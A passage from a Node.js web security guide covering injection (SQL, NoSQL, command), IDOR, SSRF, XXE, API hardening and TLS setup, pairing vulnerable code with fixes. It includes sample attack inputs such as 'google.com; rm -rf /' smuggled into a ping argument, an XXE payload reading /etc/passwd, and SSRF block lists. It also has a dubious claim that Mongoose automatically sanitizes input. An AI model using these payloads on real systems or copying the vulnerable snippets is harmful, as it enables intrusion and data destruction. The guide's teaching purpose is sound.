// Process valid data
await createUser(validData);
res.json({ success: true });
} catch (err) {
if (err instanceof z.ZodError) {
return res.status(400).json({
error: 'Validation failed',
details: err.errors
});
}
throw err;
}
});

// Using Joi
const Joi = require('joi');

const postSchema = Joi.object({
title: Joi.string().min(1).max(200).required(),
content: Joi.string().min(1).max(50000).required(),
tags: Joi.array().items(Joi.string().max(30)).max(10),
publishedAt: Joi.date().iso().optional(),
metadata: Joi.object().unknown(true).optional()
});

const { error, value } = postSchema.validate(req.body, {
abortEarly: false,
stripUnknown: true
});

if (error) {
return res.status(400).json({
error: error.details.map(d => d.message)
});
}

Sanitization:

const validator = require('validator');
const xss = require('xss');

function sanitizeInput(input) {
// Remove control characters
let sanitized = input.replace(/[\x00-\x1F\x7F]/g, '');

// Escape HTML
sanitized = validator.escape(sanitized);

// Additional XSS protection
sanitized = xss(sanitized, {
whiteList: {}, // No HTML allowed
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
});

return sanitized.trim();
}

// File upload validation
const multer = require('multer');
const path = require('path');

const fileFilter = (req, file, cb) => {
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];

const ext = path.extname(file.originalname).toLowerCase();

if (!allowedMimes.includes(file.mimetype) || !allowedExts.includes(ext)) {
return cb(new Error('Invalid file type'), false);
}

cb(null, true);
};

const upload = multer({
storage: multer.diskStorage({
destination: './uploads/',
filename: (req, file, cb) => {
// Generate random filename to prevent path traversal
const uniqueName = `${Date.now()}-${crypto.randomBytes(8).toString('hex')}${path.extname(file.originalname)}`;
cb(null, uniqueName);
}
}),
fileFilter: fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 5MB
files: 1
}
});

app.post('/upload', upload.single('image'), (req, res) => {
res.json({ filename: req.file.filename });
});

SQL Injectionโ€‹

What It Is:

-- Vulnerable query
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'

-- Attack input
username: admin'--
password: anything

-- Resulting query (-- comments out password check)
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

Prevention:

1. Parameterized Queries (Prepared Statements):

// โŒ VULNERABLE
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query, (err, results) => {
// Dangerous!
});

// โœ… SAFE - MySQL with placeholders
const query = 'SELECT * FROM users WHERE email = ?';
db.query(query, [email], (err, results) => {
// Safe!
});

// โœ… SAFE - PostgreSQL with named parameters
const query = 'SELECT * FROM users WHERE email = $1';
db.query(query, [email], (err, results) => {
// Safe!
});

// โœ… SAFE - Using ORM (Sequelize)
const user = await User.findOne({
where: {
email: email
}
});

// โœ… SAFE - Using query builder (Knex)
const users = await knex('users')
.where('email', email)
.select('*');

2. Input Validation:

const validator = require('validator');

function validateEmail(email) {
if (!validator.isEmail(email)) {
throw new Error('Invalid email format');
}
if (email.length > 255) {
throw new Error('Email too long');
}
return email;
}

function validateId(id) {
const parsed = parseInt(id, 10);
if (isNaN(parsed) || parsed < 1) {
throw new Error('Invalid ID');
}
return parsed;
}

app.get('/users/:id', async (req, res) => {
try {
const userId = validateId(req.params.id);
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
res.json(user);
} catch (err) {
res.status(400).json({ error: err.message });
}
});

3. Least Privilege Database Access:

-- Create restricted user for application
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON myapp.posts TO 'app_user'@'localhost';

-- Don't grant DELETE, DROP, or admin privileges

Best Practices: โœ… Use: Parameterized queries always โœ… Use: ORMs with parameter binding โœ… Use: Input validation and type checking โœ… Use: Least privilege database accounts โŒ Avoid: String concatenation for queries โŒ Avoid: Dynamic SQL with user input โŒ Avoid: Displaying database errors to users

NoSQL Injectionโ€‹

MongoDB Injection Example:

// โŒ VULNERABLE
app.post('/login', async (req, res) => {
const { username, password } = req.body;

// Attack: username = {"$gt": ""}, password = {"$gt": ""}
const user = await db.collection('users').findOne({
username: username,
password: password
});

if (user) {
res.json({ success: true });
}
});

// โœ… SAFE - Validate and sanitize
app.post('/login', async (req, res) => {
const { username, password } = req.body;

// Ensure inputs are strings
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}

const user = await db.collection('users').findOne({
username: username,
password: password // Should be hashed!
});

if (user) {
res.json({ success: true });
}
});

// โœ… BETTER - Using Mongoose with schema validation
const userSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});

const User = mongoose.model('User', userSchema);

app.post('/login', async (req, res) => {
const { username, password } = req.body;

const user = await User.findOne({ username, password });
// Mongoose automatically sanitizes
});

Sanitization Library:

const mongoSanitize = require('express-mongo-sanitize');

// Sanitize all user input
app.use(mongoSanitize({
replaceWith: '_',
onSanitize: ({ req, key }) => {
console.warn(`Sanitized ${key} in ${req.path}`);
}
}));

// Or manually sanitize
const sanitize = require('mongo-sanitize');

app.post('/search', async (req, res) => {
const query = sanitize(req.body.query);
const results = await db.collection('posts').find({ title: query });
res.json(results);
});

Command Injectionโ€‹

What It Is:

// โŒ VULNERABLE
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
const host = req.query.host;

// Attack: host = "google.com; rm -rf /"
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});

Prevention:

// โœ… SAFE - Use parameterized execution
const { execFile } = require('child_process');

app.get('/ping', (req, res) => {
const host = req.query.host;

// Validate hostname
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid hostname' });
}

// execFile doesn't invoke shell
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) {
return res.status(500).json({ error: 'Ping failed' });
}
res.send(stdout);
});
});

// โœ… BETTER - Avoid executing external commands
// Use native libraries instead
const ping = require('ping');

app.get('/ping', async (req, res) => {
const host = req.query.host;

try {
const result = await ping.promise.probe(host, {
timeout: 10
});
res.json(result);
} catch (err) {
res.status(500).json({ error: 'Ping failed' });
}
});

Insecure Direct Object References (IDOR)โ€‹

Vulnerable Example:

// โŒ VULNERABLE - No authorization check
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);

// Anyone authenticated can view any order!
res.json(order);
});

// Attack: User changes URL from /api/orders/123 to /api/orders/124

Prevention:

// โœ… SAFE - Verify ownership
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id]
);

if (!order) {
return res.status(404).json({ error: 'Order not found' });
}

res.json(order);
});

// โœ… SAFE - Reusable authorization middleware
async function authorizeResource(resourceType) {
return async (req, res, next) => {
const resourceId = req.params.id;
const userId = req.user.id;

const resource = await getResource(resourceType, resourceId);

if (!resource) {
return res.status(404).json({ error: 'Resource not found' });
}

// Check ownership
if (resource.userId !== userId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}

req.resource = resource;
next();
};
}

app.get('/api/orders/:id',
authenticateToken,
authorizeResource('order'),
(req, res) => {
res.json(req.resource);
}
);

app.delete('/api/documents/:id',
authenticateToken,
authorizeResource('document'),
async (req, res) => {
await deleteDocument(req.params.id);
res.json({ success: true });
}
);

Use UUIDs Instead of Sequential IDs:

// โŒ Predictable IDs
// Orders: 1, 2, 3, 4, 5... (easy to enumerate)

// โœ… UUIDs
const { v4: uuidv4 } = require('uuid');

const orderId = uuidv4(); // e.g., "550e8400-e29b-41d4-a716-446655440000"

// Still need authorization checks, but harder to enumerate

Server-Side Request Forgery (SSRF)โ€‹

Vulnerable Example:

// โŒ VULNERABLE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;

// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
// Attack: url = "http://localhost:6379/" (Redis)
const response = await axios.get(url);
res.send(response.data);
});

Prevention:

const axios = require('axios');
const { URL } = require('url');

// Whitelist of allowed domains
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

// Blacklist of dangerous hosts/IPs
const BLOCKED_HOSTS = [
'localhost',
'127.0.0.1',
'0.0.0.0',
'169.254.169.254', // AWS metadata
'169.254.169.253',
'[::1]', // IPv6 localhost
'[0:0:0:0:0:0:0:1]'
];

const BLOCKED_IP_RANGES = [
/^10\./, // Private network
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private network
/^192\.168\./, // Private network
/^127\./, // Loopback
/^169\.254\./ // Link-local
];

function isUrlSafe(urlString) {
try {
const url = new URL(urlString);

// Only allow HTTP/HTTPS
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}

// Check whitelist
if (!ALLOWED_DOMAINS.some(domain => url.hostname.endsWith(domain))) {
return false;
}

// Check blacklist
if (BLOCKED_HOSTS.includes(url.hostname.toLowerCase())) {
return false;
}

// Check IP ranges
if (BLOCKED_IP_RANGES.some(pattern => pattern.test(url.hostname))) {
return false;
}

return true;
} catch (err) {
return false;
}
}

// โœ… SAFE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;

if (!isUrlSafe(url)) {
return res.status(400).json({ error: 'Invalid or forbidden URL' });
}

try {
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0, // Disable redirects
validateStatus: status => status === 200
});

res.send(response.data);
} catch (err) {
res.status(500).json({ error: 'Failed to fetch URL' });
}
});

XML External Entity (XXE)โ€‹

Vulnerable Example:

// โŒ VULNERABLE
const libxmljs = require('libxmljs');

app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;

// Attack XML:
// <?xml version="1.0"?>
// <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <data>&xxe;</data>

const doc = libxmljs.parseXml(xml);
res.send(doc.toString());
});

Prevention:

// โœ… SAFE - Disable external entities
const libxmljs = require('libxmljs');

app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;

try {
const doc = libxmljs.parseXml(xml, {
noent: false, // Don't substitute entities
nonet: true, // Don't fetch external resources
dtdload: false, // Don't load external DTD
dtdvalid: false // Don't validate against DTD
});

res.send(doc.toString());
} catch (err) {
res.status(400).json({ error: 'Invalid XML' });
}
});

// โœ… BETTER - Use JSON instead of XML when possible
app.post('/parse-data', express.json(), (req, res) => {
// JSON doesn't have XXE vulnerabilities
const data = req.body;
res.json(data);
});

API Security Best Practicesโ€‹

Rate Limiting:

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

// General API rate limit
const apiLimiter = rateLimit({
store: new RedisStore({
client: redisClient,
prefix: 'rl:api:'
}),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later' }
});

app.use('/api/', apiLimiter);

// Stricter limit for authentication endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true
});

app.post('/api/login', authLimiter, loginHandler);

// Per-user rate limiting
const createUserLimiter = () => rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10,
keyGenerator: (req) => req.user?.id || req.ip,
skip: (req) => req.user?.role === 'admin'
});

app.post('/api/posts', authenticateToken, createUserLimiter(), createPost);

API Versioning:

// URL versioning
app.use('/api/v1', v1Router);
app.use('/api/v2', v2Router);

// Header versioning
app.use((req, res, next) => {
const version = req.headers['api-version'] || '1';
req.apiVersion = version;
next();
});

// Deprecation warnings
app.use('/api/v1', (req, res, next) => {
res.set('Warning', '299 - "API v1 is deprecated, please use v2"');
res.set('Sunset', 'Sat, 31 Dec 2025 23:59:59 GMT');
next();
});

Request Validation:

const { body, param, query, validationResult } = require('express-validator');

const validateRequest = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
};

app.post('/api/users',
[
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('age').optional().isInt({ min: 13, max: 120 }),
validateRequest
],
createUser
);

app.get('/api/users/:id',
[
param('id').isUUID(),
validateRequest
],
getUser
);

app.get('/api/posts',
[
query('page').optional().isInt({ min: 1 }),
query('limit').optional().isInt({ min: 1, max: 100 }),
query('sort').optional().isIn(['asc', 'desc']),
validateRequest
],
getPosts
);

API Authentication:

// API Key authentication
const API_KEYS = new Map(); // In production, use database

function authenticateAPIKey(req, res, next) {
const apiKey = req.headers['x-api-key'];

if (!apiKey) {
return res.status(401).json({ error: 'API key required' });
}

const keyData = API_KEYS.get(apiKey);

if (!keyData || keyData.expiresAt < Date.now()) {
return res.status(401).json({ error: 'Invalid or expired API key' });
}

req.apiKeyData = keyData;
next();
}

// Generate API keys
function generateAPIKey() {
return crypto.randomBytes(32).toString('base64url');
}

app.post('/api/keys/generate', authenticateToken, async (req, res) => {
const apiKey = generateAPIKey();
const expiresAt = Date.now() + (365 * 24 * 60 * 60 * 1000); // 1 year

await db.query(
'INSERT INTO api_keys (key_hash, user_id, expires_at) VALUES (?, ?, ?)',
[hashAPIKey(apiKey), req.user.id, expiresAt]
);

// Return key only once
res.json({
apiKey: apiKey,
expiresAt: expiresAt,
warning: 'Store this key securely. It will not be shown again.'
});
});

function hashAPIKey(key) {
return crypto.createHash('sha256').update(key).digest('hex');
}

Response Security:

// Don't leak sensitive info in responses
app.use((err, req, res, next) => {
console.error(err); // Log full error server-side

// Send generic error to client
res.status(err.status || 500).json({
error: process.env.NODE_ENV === 'production'
? 'An error occurred'
: err.message
});
});

// Remove sensitive fields
function sanitizeUser(user) {
const { password, passwordResetToken, mfaSecret, ...safe } = user;
return safe;
}

app.get('/api/users/:id', async (req, res) => {
const user = await getUserById(req.params.id);
res.json(sanitizeUser(user));
});

// Set proper content type
app.use((req, res, next) => {
res.type('application/json');
next();
});

7. Transport & Network Securityโ€‹

HTTPS & TLSโ€‹

Why HTTPS:

  • Encryption: Protects data in transit
  • Authentication: Verifies server identity
  • Integrity: Prevents tampering

TLS Configuration (Node.js):

const https = require('https');
const fs = require('fs');

const options = {
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem'),
ca: fs.readFileSync('/path/to/ca-certificate.pem'),

// Security settings
minVersion: 'TLSv1.2',
maxVersion: 'TLSv1.3',
ciphers: [
'ECDHE-ECDSA-AES128-GCM-SHA256',
'ECDHE-RSA-AES128-GCM-SHA256',
'ECDHE-ECDSA-AES256-GCM-SHA384',
'ECDHE-RSA-AES256-GCM-SHA384',
'ECDHE-ECDSA-CHACHA20-POLY1305',
'ECDHE-RSA-CHACHA20-POLY1305'
].join(':'),
honorCipherOrder: true,

// Disable insecure renegotiation
secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION
};

https.createServer(options, app).listen(443);

Nginx TLS Configuration:

server {
listen 443 ssl http2;
server_name example.com;

# Certificates
ssl_certificate /path/to/fullchain.pem;
ssl_certificate_key /path/to/privkey.pem;

# TLS versions
ssl_protocols TLSv1.2 TLSv1.3;

# Ciphers
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;

# Performance
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_session_tickets off;

# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/chain.pem;

# Security headers
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

location / {
proxy_pass http://localhost:3000;
}
}

# Redirect HTTP to HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}

Certificate Managementโ€‹

Let's Encrypt with Certbot:

# Install certbot
sudo apt-get install certbot python3-certbot-nginx

# Obtain certificate
sudo certbot --nginx -d example.com -d www.example.com

# Auto-renewal (runs twice daily)
sudo certbot renew --dry-run

# Renewal hook
sudo certbot renew --deploy-hook "systemctl reload nginx"

Automated Renewal (Cron):

# /etc/cron.d/certbot
0 */12 * * * root certbot renew --quiet --deploy-hook "systemctl reload nginx"

Certificate Monitoring:

const https = require('https');
const tls = require('tls');

async function checkCertificateExpiry(hostname) {
return new Promise((resolve, reject) => {
const socket = tls.connect(443, hostname, () => {
const cert = socket.getPeerCertificate();

if (!socket.authorized) {
reject(new Error('Certificate not authorized'));
}

const daysUntilExpiry = Math.floor(
(new Date(cert.valid_to) - new Date()) / (1000 * 60 * 60 * 24)
);

socket.end();
resolve({
hostname,
issuer: cert.issuer.O,
validFrom: cert.valid_from,
validTo: cert.valid_to,
daysUntilExpiry
});
});

socket.on('error', reject);
});
}

// Alert if certificate expires soon
const domains = ['example.com', 'api.example.com'];

setInterval(async () => {
for (const domain of domains) {
const cert = await checkCertificateExpiry(domain);

if (cert.daysUntilExpiry < 30) {
console.warn(`Certificate for ${domain} expires in ${cert.daysUntilExpiry} days!`);
// Send alert
}
}
}, 24 * 60 * 60 * 1000); // Check daily

HTTP Strict Transport Security (HSTS)โ€‹

Header Configuration:

// Express
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
next();
});

// Or use Helmet
const helmet = require('helmet');

app.use(helmet.hsts({
maxAge: 63072000, // 2 years
includeSubDomains: true,
preload: true
}));

HSTS Preload:

  1. Set header with `